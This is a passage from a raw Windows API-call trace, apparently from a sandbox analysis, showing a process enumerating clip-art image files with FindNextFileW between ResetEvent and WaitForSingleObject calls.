ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa442, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0093905.WMF", cAlternateFileName="")) returned 1 [0257.808] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x136a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0098497.WMF", cAlternateFileName="")) returned 1 [0257.808] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x60b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099145.JPG", cAlternateFileName="")) returned 1 [0257.809] ResetEvent (hEvent=0x118) returned 1 [0257.809] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0257.821] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x40d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099146.WMF", cAlternateFileName="")) returned 1 [0257.821] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x5f39, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099147.JPG", cAlternateFileName="")) returned 1 [0257.822] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4752, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099148.JPG", cAlternateFileName="")) returned 1 [0257.822] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x11dfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099149.WMF", cAlternateFileName="")) returned 1 [0257.822] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x559a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099150.JPG", cAlternateFileName="")) returned 1 [0257.823] ResetEvent (hEvent=0x118) returned 1 [0257.823] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0257.830] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x65e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099151.WMF", cAlternateFileName="")) returned 1 [0257.830] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2dae, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099152.JPG", cAlternateFileName="")) returned 1 [0257.831] ResetEvent (hEvent=0x118) returned 1 [0257.831] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0257.833] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x3632, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099153.WMF", cAlternateFileName="")) returned 1 [0257.834] ResetEvent (hEvent=0x118) returned 1 [0257.834] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0257.845] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1b11, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099154.JPG", cAlternateFileName="")) returned 1 [0257.846] ResetEvent (hEvent=0x118) returned 1 [0257.846] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0257.850] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x227a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099155.JPG", cAlternateFileName="")) returned 1 [0257.850] ResetEvent (hEvent=0x118) returned 1 [0257.850] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0257.853] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x3682, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099156.JPG", cAlternateFileName="")) returned 1 [0257.853] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x25c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099157.JPG", cAlternateFileName="")) returned 1 [0257.854] ResetEvent (hEvent=0x118) returned 1 [0257.854] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0257.857] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x6630, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099158.WMF", cAlternateFileName="")) returned 1 [0257.857] ResetEvent (hEvent=0x118) returned 1 [0257.858] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0257.860] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x6b9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099159.WMF", cAlternateFileName="")) returned 1 [0257.861] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x3b29, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099160.JPG", cAlternateFileName="")) returned 1 [0257.861] ResetEvent (hEvent=0x118) returned 1 [0257.862] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0258.366] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1bf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099161.JPG", cAlternateFileName="")) returned 1 [0258.367] ResetEvent (hEvent=0x118) returned 1 [0258.367] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0258.403] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4cc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099162.JPG", cAlternateFileName="")) returned 1 [0258.403] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x5754, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099163.WMF", cAlternateFileName="")) returned 1 [0258.403] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x55ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099164.WMF", cAlternateFileName="")) returned 1 [0258.404] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xc53a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099165.JPG", cAlternateFileName="")) returned 1 [0258.404] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xfcff, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099166.JPG", cAlternateFileName="")) returned 1 [0258.404] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xabad, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099167.JPG", cAlternateFileName="")) returned 1 [0258.405] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4ed3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099168.JPG", cAlternateFileName="")) returned 1 [0258.405] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x27d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099169.WMF", cAlternateFileName="")) returned 1 [0258.405] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x5ee4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099170.WMF", cAlternateFileName="")) returned 1 [0258.406] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2232, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099171.WMF", cAlternateFileName="")) returned 1 [0258.406] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xe392, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099172.WMF", cAlternateFileName="")) returned 1 [0258.406] ResetEvent (hEvent=0x118) returned 1 [0258.407] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0258.411] ResetEvent (hEvent=0x118) returned 1 [0258.412] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0259.029] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x9114, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099173.WMF", cAlternateFileName="")) returned 1 [0259.030] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1846, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099174.WMF", cAlternateFileName="")) returned 1 [0259.030] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2610, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099175.WMF", cAlternateFileName="")) returned 1 [0259.030] ResetEvent (hEvent=0x118) returned 1 [0259.030] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0259.042] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099176.WMF", cAlternateFileName="")) returned 1 [0259.042] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x150a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099177.WMF", cAlternateFileName="")) returned 1 [0259.042] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xe16, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099178.WMF", cAlternateFileName="")) returned 1 [0259.043] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x23c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099179.WMF", cAlternateFileName="")) returned 1 [0259.043] ResetEvent (hEvent=0x118) returned 1 [0259.043] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0259.047] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xd42, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099180.WMF", cAlternateFileName="")) returned 1 [0259.047] ResetEvent (hEvent=0x118) returned 1 [0259.047] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0259.055] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099181.WMF", cAlternateFileName="")) returned 1 [0259.055] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xf00, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099182.WMF", cAlternateFileName="")) returned 1 [0259.055] ResetEvent (hEvent=0x118) returned 1 [0259.055] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0259.076] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1352, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099183.WMF", cAlternateFileName="")) returned 1 [0259.076] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1016, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099184.WMF", cAlternateFileName="")) returned 1 [0259.076] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xcd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099185.JPG", cAlternateFileName="")) returned 1 [0259.077] ResetEvent (hEvent=0x118) returned 1 [0259.077] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0259.080] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x183cef00, ftCreationTime.dwHighDateTime=0x1bdbf74, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x183cef00, ftLastWriteTime.dwHighDateTime=0x1bdbf74, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099186.JPG", cAlternateFileName="")) returned 1 [0259.081] ResetEvent (hEvent=0x118) returned 1 [0259.082] WaitForSingleObject (hHandle=0x118, 